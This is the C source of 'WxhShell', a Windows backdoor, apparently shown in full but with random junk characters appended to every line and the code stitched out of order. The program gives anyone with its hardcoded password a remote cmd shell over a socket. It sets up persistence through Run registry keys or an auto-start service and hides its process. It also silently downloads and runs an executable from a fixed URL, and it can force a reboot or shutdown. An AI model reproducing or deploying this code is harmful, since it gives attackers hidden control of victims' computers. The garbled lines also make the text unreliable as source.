  case 'd': { if|+EN%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %LVm3e9  
    if(Boot(SHUTDOWN)) MjlP+; !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V=:'SL*3|  
    else { X/iT)R]b  
    closesocket(wsh); e/0<[s*#Q  
    ExitThread(0);  A) ;  
    } 3s/H2f z  
    break; UfN&v >8f  
    } ~0beuK&p  
  // 获取shell +qh[N@F  
  case 's': { Ty vtmx M  
    CmdShell(wsh); oD<kMK  
    closesocket(wsh); -FU}pz/  
    ExitThread(0);  GB$;n?  
    break; !O`(JSoG  
  } gw, UQbnu  
  // 退出 J ]nohICe  
  case 'x': { U}[I   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UK<Nj<-'t  
    CloseIt(wsh); "jG}B.l=,  
    break; N[s}qmPha  
    } ^$b Y,CE  
  // 离开 {zMU#=EC  
  case 'q': { W[Ls|<Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6@rMtQfI  
    closesocket(wsh); Q_[ 3`j l  
    WSACleanup(); dBz/7&Q   
    exit(1); Pi]19boM.  
    break; 0u;4%}pD  
        } _d5QbTe  
  } z6*X%6,8  
  } M7pOLP_1jB  
7@D@ucL  
  // 提示信息 $<}$DH_Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "*In+!K  
} 03q 5e  
  } LDPUD'  
Yt;MV)  
  return; wB.&}p9p  
} ` @`CG[-9  
<g"{Wv: h  
// shell模块句柄 s.$3j$vT 8  
int CmdShell(SOCKET sock) ?l9XAW t\  
{ { \81i8b]  
STARTUPINFO si; aDU<wxnSvO  
ZeroMemory(&si,sizeof(si)); Z&1\{PG3*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zy`m!]G]80  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $g> IyT[  
PROCESS_INFORMATION ProcessInfo; YtmrRDQs  
char cmdline[]="cmd"; =l+yA>t|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6 (]Dh;gC  
  return 0; l3)} qu  
} hgPa6Kd  
{*G9|#[/@  
// 自身启动模式 Ayxkv)%:@)  
int StartFromService(void) b,7k)ND1F  
{ T&6l$1J  
typedef struct eA2@Nkw~)  
{ k\5c|Wq|g  
  DWORD ExitStatus; >;e~WF>+K  
  DWORD PebBaseAddress; H#,W5EJzM  
  DWORD AffinityMask; 'jWr<]3  
  DWORD BasePriority; J')o|5S1N  
  ULONG UniqueProcessId; LSL/ZvSP  
  ULONG InheritedFromUniqueProcessId; )_YX DU  
}   PROCESS_BASIC_INFORMATION; f6hnTbJ  
j()7_  
PROCNTQSIP NtQueryInformationProcess; y0L_"e/  
wr$("A(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f%][}NN)Xr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W+I!q:p4H  
dqU~`b9  
  HANDLE             hProcess; &6/[B_.  
  PROCESS_BASIC_INFORMATION pbi; }Y12  
 -*1d!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .s?L^Z^  
  if(NULL == hInst ) return 0; jys:5P  
` Fa~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q+yQwX{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6AAz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 03$mYS_?  
I fK,b*%  
  if (!NtQueryInformationProcess) return 0; r8`ffH  
(nQ^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wf+cDpK  
  if(!hProcess) return 0; ~[t[y~Hup  
c[0}AG J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =9H7N]*h  
5AFJC?   
  CloseHandle(hProcess); T$8)u'-pa  
ROH|PKb7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !z\h| wU+  
if(hProcess==NULL) return 0; Y`~Ut:fZ  
ik)|{%!K]H  
HMODULE hMod; L^1NY3=$  
char procName[255]; g@d*\ P)  
unsigned long cbNeeded; 9SX +  
'p^t^=dQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ki;*u_4{  
^ gdaa>L  
  CloseHandle(hProcess); nGC/R&  
A @i  
if(strstr(procName,"services")) return 1; // 以服务启动 `aOFs+<)  
xVw9v6@`h  
  return 0; // 注册表启动 akmkyrz'&  
} =O~_Q-  
f[]dfLS"W  
// 主模块 x`mG<Yt  
int StartWxhshell(LPSTR lpCmdLine) 1y:-N6  
{ Fn wJ+GTu  
  SOCKET wsl; 0 j^Kgx  
BOOL val=TRUE; l5~os>  
  int port=0; N:^n('U&j  
  struct sockaddr_in door; lqy Qf$t  
T~-ycVc  
  if(wscfg.ws_autoins) Install(); &j;wCvE4+  
Mc)}\{J  
port=atoi(lpCmdLine); :@yEQ#nFp  
)7hqJa-V  
if(port<=0) port=wscfg.ws_port; ."g`3tVK  
aHD]k8 m z  
  WSADATA data; ,Co|-DYf}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6W/`07 '  
 -uS!\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <NMEGit  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e+EQ]<M  
  door.sin_family = AF_INET; F~-(:7j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IW5,7.  
  door.sin_port = htons(port); -abt:or  
hDDn,uzpd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /'SNw?&  
closesocket(wsl); +w`2kv  
return 1; hW<%R]^|  
} _;"il%l=1  
q])K,)  
  if(listen(wsl,2) == INVALID_SOCKET) { soxc0OlN  
closesocket(wsl); L;z?a Z7n  
return 1; %UrueMEO  
} A`%k:@  
  Wxhshell(wsl); MpT8" /.]A  
  WSACleanup(); +Ze} B*0  
ic:zsuEm  
return 0; 2k~l$p>CN!  
E_rI?t^  
} }rUN_.n4z  
x8 2cT21b  
// 以NT服务方式启动 u,ho7ht3(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :U|1xgB  
{ kt#fMd$  
DWORD   status = 0; Q-okt RK  
  DWORD   specificError = 0xfffffff; k=$TGqQY?  
ELoDd&d8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P8:dU(nlW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5Pc;5 o0C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qp5VP@t  
  serviceStatus.dwWin32ExitCode     = 0; ^LnTOdAE  
  serviceStatus.dwServiceSpecificExitCode = 0; 5{WE~8$  
  serviceStatus.dwCheckPoint       = 0; KfEx"94  
  serviceStatus.dwWaitHint       = 0; NG=-NxEcN  
QO:!p5^:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9.M4o[  
  if (hServiceStatusHandle==0) return; HVCe;eI  
yPBZc h%-  
status = GetLastError(); df+l%9@  
  if (status!=NO_ERROR) W+c<2?d:  
{ 9rX&uP)j^#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ A y9p[l  
    serviceStatus.dwCheckPoint       = 0; 3pROf#M  
    serviceStatus.dwWaitHint       = 0; xIW3={b3  
    serviceStatus.dwWin32ExitCode     = status; jRlYU`?  
    serviceStatus.dwServiceSpecificExitCode = specificError; $rBq"u=,0+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ys^oG$lq  
    return; |^I0dR/w:  
  } 76Cl\rV  
NiEUW.0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  -);Wfs  
  serviceStatus.dwCheckPoint       = 0; >2)OiQ`zg  
  serviceStatus.dwWaitHint       = 0; U}[d_f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2wg5#i  
} :r,pqnH_  
-0 a/$h  
// 处理NT服务事件,比如:启动、停止 Fyx|z'4b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =o(5_S.u;  
{ SM#]H-3  
switch(fdwControl) U$.@]F4&  
{ On:il$MU  
case SERVICE_CONTROL_STOP: uBKgcpvTs  
  serviceStatus.dwWin32ExitCode = 0; kCF>nt@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _/$Bpr{R  
  serviceStatus.dwCheckPoint   = 0; 2#]#sZmk  
  serviceStatus.dwWaitHint     = 0; c|y(2K)o[=  
  { Qj.#)R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Yv_B3p   
  } qJs<#MQ2  
  return; P6`u._mX  
case SERVICE_CONTROL_PAUSE: BO ;tCEV?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F#Ryu~,"  
  break; dr}`H,X"3  
case SERVICE_CONTROL_CONTINUE: iRbT/cc{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {SPq$B_VR  
  break; BLdvyVFx  
case SERVICE_CONTROL_INTERROGATE: CS5?Ti6  
  break; +F` S>U  
}; K`WywH3-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (!aNq(   
} Jb@V}Ul$  
&K.d'$q  
// 标准应用程序主函数 w~A{(- dx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q#X8u-~  
{ t;Sb/3  
*uf'zQ<9  
// 获取操作系统版本 e0zq1XcZ  
OsIsNt=GetOsVer(); ;>yxNGV`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X,_2FJv  
)JLdO*H  
  // 从命令行安装 7 :xfPx  
  if(strpbrk(lpCmdLine,"iI")) Install(); W=><)miQ@  
!8d{q)JZ  
  // 下载执行文件 eS\Vib  
if(wscfg.ws_downexe) { ,t?B+$E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tod&&T'UW  
  WinExec(wscfg.ws_filenam,SW_HIDE); C.yQ=\U2  
} xp)sBM7A  
jyUjlYAAv`  
if(!OsIsNt) {  :D6 ON"6  
// 如果时win9x,隐藏进程并且设置为注册表启动 n u[ML  
HideProc(); R6Km\N  
StartWxhshell(lpCmdLine); ,{u yG:  
} gnOt+W8  
else 8,4"uuI  
  if(StartFromService()) >}8j+t&T  
  // 以服务方式启动 QL&ZjSN  
  StartServiceCtrlDispatcher(DispatchTable); Ys!82M$g  
else %COX7gV  
  // 普通方式启动 t7Iv?5]N  
  StartWxhshell(lpCmdLine); EzM ?Nft  
P6-s0]-g  
return 0; 5oW!YJg  
} {OkV%Q<  
wx= $2N6  
q]ku5A\y  
 F2LLN  
=========================================== x_N'TjS^{  
_LEK%  
(&F}/s gbi  
yiXSYD  
pk$l+sNZ=  
f;o5=)Y  
" {tuYs:  
2 /\r)$ 2i  
#include <stdio.h> GX!G>  
#include <string.h> !&y8@MD15  
#include <windows.h> 'j8:vq^d  
#include <winsock2.h> u^ +7hkk  
#include <winsvc.h> D09Sg%w  
#include <urlmon.h> y*jp79G  
YW,tCtI0_  
#pragma comment (lib, "Ws2_32.lib") %op**@4/t\  
#pragma comment (lib, "urlmon.lib") gZ3u=uME  
abmYA#  
#define MAX_USER   100 // 最大客户端连接数 H7&8\ FNa  
#define BUF_SOCK   200 // sock buffer p?%y82E  
#define KEY_BUFF   255 // 输入 buffer shy-Gu&  
,*TmIPNK  
#define REBOOT     0   // 重启 F4-$~ v@  
#define SHUTDOWN   1   // 关机 hB]Np1('  
i4Q@K,$  
#define DEF_PORT   5000 // 监听端口 b5dD/-Vj  
WtsFz*`)y  
#define REG_LEN     16   // 注册表键长度 a8e6H30Sm  
#define SVC_LEN     80   // NT服务名长度 ?DS@e@lx  
5FPM`hLT  
// 从dll定义API ntX3Nt_n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Af~$TyX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,GhS[VJjR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9IdA%RM~mH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e{'BAj  
\j}ZB<.>  
// wxhshell配置信息 vFzRg5lH  
struct WSCFG { `!3SF|x&  
  int ws_port;         // 监听端口 $D~0~gn~  
  char ws_passstr[REG_LEN]; // 口令 ~f&E7su-6+  
  int ws_autoins;       // 安装标记, 1=yes 0=no [x=s(:qy  
  char ws_regname[REG_LEN]; // 注册表键名 @ p9i  
  char ws_svcname[REG_LEN]; // 服务名 4$HhP, gL=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >;aWz%-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xC?6v '  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \"w"$9o6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y!aSs3c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |#v7/$!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y #ap*  
G/y5H;<9M  
}; !]A  
Hp|kQJ[LE  
// default Wxhshell configuration m^!Z_]A![  
struct WSCFG wscfg={DEF_PORT, G=s}12/Z"{  
    "xuhuanlingzhe", 6fE7W>la  
    1, L Tm2G4+]  
    "Wxhshell", M~Tuj1?  
    "Wxhshell", y;m|  
            "WxhShell Service", 5zK4Fraf  
    "Wrsky Windows CmdShell Service", D=A&+6B@-  
    "Please Input Your Password: ", 1sy[ @Q2b  
  1, 9R!atPz9  
  "http://www.wrsky.com/wxhshell.exe", CCs%%U/=  
  "Wxhshell.exe" ozyX$tp  
    }; kP=eW_0D  
T= 80,  
// 消息定义模块 XW 2b|%T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `P@<3]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k&M;,e3v6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M><yGaaX/  
char *msg_ws_ext="\n\rExit."; r5S[-`s;  
char *msg_ws_end="\n\rQuit."; xWH.^o,"  
char *msg_ws_boot="\n\rReboot..."; v4!VrI  
char *msg_ws_poff="\n\rShutdown..."; aL\PGdgO  
char *msg_ws_down="\n\rSave to "; 7(1|xYCx$  
KWbI'}_z  
char *msg_ws_err="\n\rErr!"; do hA0  
char *msg_ws_ok="\n\rOK!"; ~Py`P'+  
pHGYQ;:L  
char ExeFile[MAX_PATH]; 7uqzm  
int nUser = 0; w?PkO p  
HANDLE handles[MAX_USER]; $j%'{)gK  
int OsIsNt; -u+vJ6EY  
(!u~CZ;  
SERVICE_STATUS       serviceStatus; .fqN|[>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; olB.*#gA  
1/B>XkCJ  
// 函数声明 n-2]M0 5O  
int Install(void); -vo})lO  
int Uninstall(void); JJ-( Sl  
int DownloadFile(char *sURL, SOCKET wsh); ;J( 8 L  
int Boot(int flag); b<[Or^X ]  
void HideProc(void); 5+0gR &|j  
int GetOsVer(void); r.=K~A  
int Wxhshell(SOCKET wsl); 4&lv6`G `  
void TalkWithClient(void *cs); dA}-]  
int CmdShell(SOCKET sock); FW;?s+Uyx  
int StartFromService(void); caR<Kb:;*  
int StartWxhshell(LPSTR lpCmdLine); :1Xz4wkWS*  
XAKs0*J>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ah$b [\#C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `6(S^P  
4}baSV  
// 数据结构和表定义 tyDU @M  
SERVICE_TABLE_ENTRY DispatchTable[] = HXC ;Np  
{ yNJ B oar  
{wscfg.ws_svcname, NTServiceMain}, Pl06:g2I  
{NULL, NULL} wc@X.Q[  
}; 0cH`;!MZ  
ij`w} V  
// 自我安装 e;q!6%  
int Install(void) wo{gG?B  
{ Z9ZPr?C=  
  char svExeFile[MAX_PATH]; vkV0On  
  HKEY key; F`W?II?  
  strcpy(svExeFile,ExeFile); nsC3  
OX0%C.K)hZ  
// 如果是win9x系统,修改注册表设为自启动 dh iuI|?@  
if(!OsIsNt) { oUlY?x1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3AtGy'NTp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N7zft  
  RegCloseKey(key); hp X9[3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a(X@Q8l:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .o^l z 9:  
  RegCloseKey(key); ibk6|pp  
  return 0; wH&!W~M  
    } ;?i W%:_,  
  } `cUl7 'j  
} Af2( 5]  
else { (k.[GfCbD  
L|7R9+ZG  
// 如果是NT以上系统,安装为系统服务 _4So{~Gf1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ` p-cSxR_  
if (schSCManager!=0) 6,"Q=9k4[  
{ U(g:zae  
  SC_HANDLE schService = CreateService E7UU  
  ( _S1>j7RQo  
  schSCManager, J/aC}}5D  
  wscfg.ws_svcname, 7(8;t o6(  
  wscfg.ws_svcdisp, ^"2J]&x`G  
  SERVICE_ALL_ACCESS, @o _}g !9=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n M*%o-  
  SERVICE_AUTO_START, b5vC'B-!  
  SERVICE_ERROR_NORMAL, k$R-#f;  
  svExeFile, b=NxUd O  
  NULL, Jhhb7uU+  
  NULL, l<LI7Z]A  
  NULL, +gtbcF@rx  
  NULL, Id .nu/  
  NULL .j0$J\:i  
  ); 0@iY:aF  
  if (schService!=0) :q% M_  
  { E KLyma&}Y  
  CloseServiceHandle(schService); ZDYJ\}=  
  CloseServiceHandle(schSCManager); '8H4shYg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9IfmW^0  
  strcat(svExeFile,wscfg.ws_svcname); |&)dh<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { | rtD.,m   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dOH &  
  RegCloseKey(key); :>f )g  
  return 0; giw &&l=_  
    } bJ {'<J  
  } f+)L#>Gl?  
  CloseServiceHandle(schSCManager); :bq8N@P/  
} s)D;a-F  
} D'PI1 0t  
ZG8DIV\D7  
return 1; YZ8>OwQz2  
} vw/J8'  
0 ZKx<]!  
// 自我卸载 L\"d  
int Uninstall(void) L^?qOylu  
{ xdt- ;w|  
  HKEY key; :J&oX <nF^  
.|fH y  
if(!OsIsNt) { 16(QR-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "`e{/7I  
  RegDeleteValue(key,wscfg.ws_regname); 6 V=9M:  
  RegCloseKey(key); 3;{kJQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { flbd0NB  
  RegDeleteValue(key,wscfg.ws_regname); 8wFJ4v3  
  RegCloseKey(key); ^k">A:E2  
  return 0; Am|%lj+1z  
  } u `6:5k  
} c-6?2\]j@  
} vXZOy%$o  
else { %l[( Iw  
+\ .Lp 5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C33J5'(CA  
if (schSCManager!=0) e6$WQd`O  
{ r[iflBP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SoK iE  
  if (schService!=0) VjZ|$k  
  { ~=l;=7 T  
  if(DeleteService(schService)!=0) { Eo]xNn/g  
  CloseServiceHandle(schService); ( ^Nz9{  
  CloseServiceHandle(schSCManager); 7~.9=I'A  
  return 0; y766; X:J  
  } +a{1)nCXe  
  CloseServiceHandle(schService); +VOK%8,p  
  } "J_9WUN  
  CloseServiceHandle(schSCManager); y}ev ,j  
} aj{Y\ 3L  
} $DaNbLV  
w%jII{@,  
return 1; \\;jw[P0  
} I:1C8*/  
.|i.Cq8  
// 从指定url下载文件 [5Mr@f4I  
int DownloadFile(char *sURL, SOCKET wsh) Q sCheHP  
{ ^o&. fQ*  
  HRESULT hr; z_4J)?3  
char seps[]= "/"; u <v7;dF|s  
char *token; 6A+nS=  
char *file; ')<hON44EX  
char myURL[MAX_PATH]; mGg+.PFsM  
char myFILE[MAX_PATH]; FP4P|kl/9'  
<$Yd0hxjU  
strcpy(myURL,sURL); oV78Hq6  
  token=strtok(myURL,seps); 59;KQ  
  while(token!=NULL) B>P{A7Q  
  { uiR8,H9*M  
    file=token; PtiOz :zV  
  token=strtok(NULL,seps); t!7-DF|N  
  } p947w,1![  
<*cikXS  
GetCurrentDirectory(MAX_PATH,myFILE); s&3Vg7B  
strcat(myFILE, "\\"); lA8`l>I  
strcat(myFILE, file); \ta?b!Y),?  
  send(wsh,myFILE,strlen(myFILE),0); z9Rp`z&`E  
send(wsh,"...",3,0); 1\I}2;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $kp{Eg '  
  if(hr==S_OK) 4ID5q~  
return 0; p9{mS7R9T  
else O)r4?<Q  
return 1; Z=vU}S>r|v  
=U?dbSf1*  
} smo~7;  
h>m"GpF x  
// 系统电源模块 GC}==^1  
int Boot(int flag) {;6`_-As%  
{ 6i3$CW  
  HANDLE hToken; d>qY{Fdz  
  TOKEN_PRIVILEGES tkp; sD#.Oq4&]y  
VRB;$  
  if(OsIsNt) { pIqeXY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t\7[f >  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ye5&)d"fa(  
    tkp.PrivilegeCount = 1; 86F1.ve  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XU(eEnmo m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ER.}CM6{[  
if(flag==REBOOT) { O3kA;[f;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JT_ `.(  
  return 0; aAUvlb  
} %._.~V  
else { vUM4S26"NT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &^Q/,H~S  
  return 0; Ta\tYZj$  
} 1yu4emye4  
  } XZd,&YiaG  
  else { sd|).;s}  
if(flag==REBOOT) { ~1AgD-:Jz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,~@X{7U  
  return 0; K+K#+RBK  
} umH40rX+  
else { goOCu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +`3)oPV)  
  return 0; Zbt.t] N  
} g63(E,;;J  
} m6\E$;`  
lc1(t:"[  
return 1; 4=.89T#<  
} M@H;pJ+B  
BWv^ zi  
// win9x进程隐藏模块 li'YDtMKCY  
void HideProc(void) U!?_W=?  
{ w3obIJm  
gpvYb7Of0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r|fL&dtr  
  if ( hKernel != NULL ) RSyUaA  
  { S.94 edQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +-U- D?-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ):68%,  
    FreeLibrary(hKernel); BB!THj69a6  
  } Ms5ap<q#  
Ky!Y"   
return; n,V[eW#m'L  
} L:pYn_  
[P=Jw:E  
// 获取操作系统版本 G )trG9 .a  
int GetOsVer(void) $%CF8\0  
{ wOEj)fp .  
  OSVERSIONINFO winfo; , j2Udn}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \378rQU  
  GetVersionEx(&winfo); RXpw!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RK'\C\gMDu  
  return 1; XSe=sHEI  
  else J6s`'gFns  
  return 0; Pw7]r<Q  
} ,.83m%i  
8 S:w7Hr  
// 客户端句柄模块 @uqd.Q  
int Wxhshell(SOCKET wsl) j9x<Y]  
{ M=.n7RY-  
  SOCKET wsh; xd q?/^E  
  struct sockaddr_in client; \:# L)   
  DWORD myID; nA-.mWD_C  
SO|NaqWa  
  while(nUser<MAX_USER) w(*vj  
{ g 2LM_1\  
  int nSize=sizeof(client); dUeN*Nq&(,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E"\<s3  
  if(wsh==INVALID_SOCKET) return 1; g|DF[  
?*G|XnM&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8rnwXPBN  
if(handles[nUser]==0) $<dH?%!7  
  closesocket(wsh); W+aP}rZm:  
else G\/zkrxmv  
  nUser++; ~drS} V  
  } b@gc{R}7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l[mWf  
?yrX)3hyH  
  return 0; RVnjNy;O`  
} ?/wm(uL  
 &=@IzmA  
// 关闭 socket 3 Gp$a;g  
void CloseIt(SOCKET wsh) fIx+IL s  
{ GfxZ'VIn  
closesocket(wsh); G}9Jg  
nUser--; APn|\  
ExitThread(0); aD<A.Lhy  
} e8>})  
y2Q&s 9$Do  
// 客户端请求句柄 .KB^3pOpx  
void TalkWithClient(void *cs) n$MO4s8)  
{ KB3Htw%W[+  
e/KDw  
  SOCKET wsh=(SOCKET)cs; rT=rrvV3g  
  char pwd[SVC_LEN]; m4[;(1  
  char cmd[KEY_BUFF]; ^H p; .f.  
char chr[1]; -P(efYk  
int i,j; gDQ^)1k  
a=|K%ii+Y  
  while (nUser < MAX_USER) { !j8FIY'[  
A9KET$i@v  
if(wscfg.ws_passstr) { WA<v9#m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QGMV}y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~dyTVJ$  
  //ZeroMemory(pwd,KEY_BUFF); 5c@,bIl *  
      i=0; h/QXPdV  
  while(i<SVC_LEN) { AwCcK6N1  
k%]3vRo<  
  // 设置超时 j"8ZM{aO  
  fd_set FdRead; 3<e=g)F  
  struct timeval TimeOut; #>a\>iKQ2q  
  FD_ZERO(&FdRead); I {SjlN}d  
  FD_SET(wsh,&FdRead); XnH05LQ  
  TimeOut.tv_sec=8; *[Imn\hu  
  TimeOut.tv_usec=0; %HhBt5w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Y?k0z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eFB5=)ld  
<X#C)-.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cRC6 s8  
  pwd=chr[0]; 1>.Ev,X+e  
  if(chr[0]==0xd || chr[0]==0xa) { h,(26 y/s  
  pwd=0; {Ea b j  
  break; ,=uD^n:  
  } =?5]()'*n  
  i++; ,Y@Gyx!4  
    } ]HbY  
#]-SJWf3  
  // 如果是非法用户,关闭 socket $o!zUH~'v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8%:Iv(UMk  
} ^23~ZHu  
RV1coC.g4x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zWnX*2>b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YByLoM*  
g%aYDl  
while(1) { pP1|&`}ux  
o]odxr  
  ZeroMemory(cmd,KEY_BUFF); "6A ` q\  
B  5L2<  
      // 自动支持客户端 telnet标准   UklUw  
  j=0; T%+ #xl  
  while(j<KEY_BUFF) { ^ G]J,+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g%o(+d  
  cmd[j]=chr[0]; 7o\@>rNWP  
  if(chr[0]==0xa || chr[0]==0xd) { 3s*mbk[J  
  cmd[j]=0; L]7=?vN=8  
  break; +tB=OwU%0  
  } pR<`H'  
  j++; cUk7i`M;6  
    } c&6 I[ R  
W@>% {eE  
  // 下载文件 eNh39er  
  if(strstr(cmd,"http://")) { 4>YR{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0^ _uV9r  
  if(DownloadFile(cmd,wsh)) qyb?49I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yHYsZ,GE  
  else #I.+aV+2oQ  
